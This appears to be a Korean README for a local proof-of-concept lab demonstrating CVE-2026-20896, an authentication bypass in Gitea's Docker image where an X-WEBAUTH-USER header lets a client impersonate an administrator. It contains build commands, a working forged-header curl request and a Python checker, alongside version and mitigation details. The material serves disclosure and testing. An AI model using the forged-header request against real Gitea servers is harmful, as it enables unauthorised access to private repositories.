
CVE-2026-20896을 시연하는 개념 증명(Proof-of-concept) 랩과 Python/cURL 스크립트로, X-WEBAUTH-USER 헤더를 통한 공식 Gitea Docker 이미지의 인증 우회 취약점입니다.
[!WARNING] 이 PoC는 로컬 랩 환경이나 테스트 권한을 명시적으로 부여받은 시스템에서만 사용하십시오.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896은 영향을 받는 공식 Gitea Docker 이미지의 인증 우회 취약점입니다. 리버스 프록시 인증이 활성화된 경우, 이미지에서 생성되는 REVERSE_PROXY_TRUSTED_PROXIES = * 설정으로 인해 Gitea 백엔드에 접근할 수 있는 클라이언트가 X-WEBAUTH-USER 헤더를 통해 기존 사용자로 위장할 수 있습니다.
이 랩은 무작위 비밀번호를 가진 gitea-admin이라는 관리자를 생성하고, 비공개 저장소 gitea-admin/private-proof에 CVE-2026-20896_AUTH_BYPASS_CONFIRMED를 저장합니다. 무작위 관리자 비밀번호를 모른 채 해당 파일을 읽는 것이 우회를 입증합니다.
| 분류 | 버전 |
|---|---|
| 취약 | 공식 gitea/gitea Docker 이미지 ≤ 1.26.2 |
| 최초 패치 | 1.26.3 |
| 권장 | 1.26.4 이상 |
취약한 구성은 리버스 프록시 인증이 활성화되어 있고 Gitea 백엔드에 직접 접근할 수 있거나, 업스트림 프록시가 공격자가 제공한 신원 헤더를 보존하는 경우를 요구합니다. 이 로컬 재현에는 리버스 프록시 컨테이너가 필요하지 않습니다.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea와 비공개 증명 저장소가 초기화될 때까지 몇 초간 기다립니다.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
성공적으로 익스플로잇되면 CVE-2026-20896_AUTH_BYPASS_CONFIRMED가 반환됩니다.
python poc.py http://127.0.0.1:3000
이 스크립트는 인증되지 않은 요청, 비관리자 요청, 위조된 관리자 요청을 비교하고 권한 부여 우회가 확인되면 VULNERABLE을 출력합니다. Python 3.10 이상이 필요하며 표준 라이브러리만 사용합니다.
REVERSE_PROXY_TRUSTED_PROXIES를 신뢰할 수 있는 프록시 주소로 제한하십시오.docker stop cve-2026-20896-gitea-vuln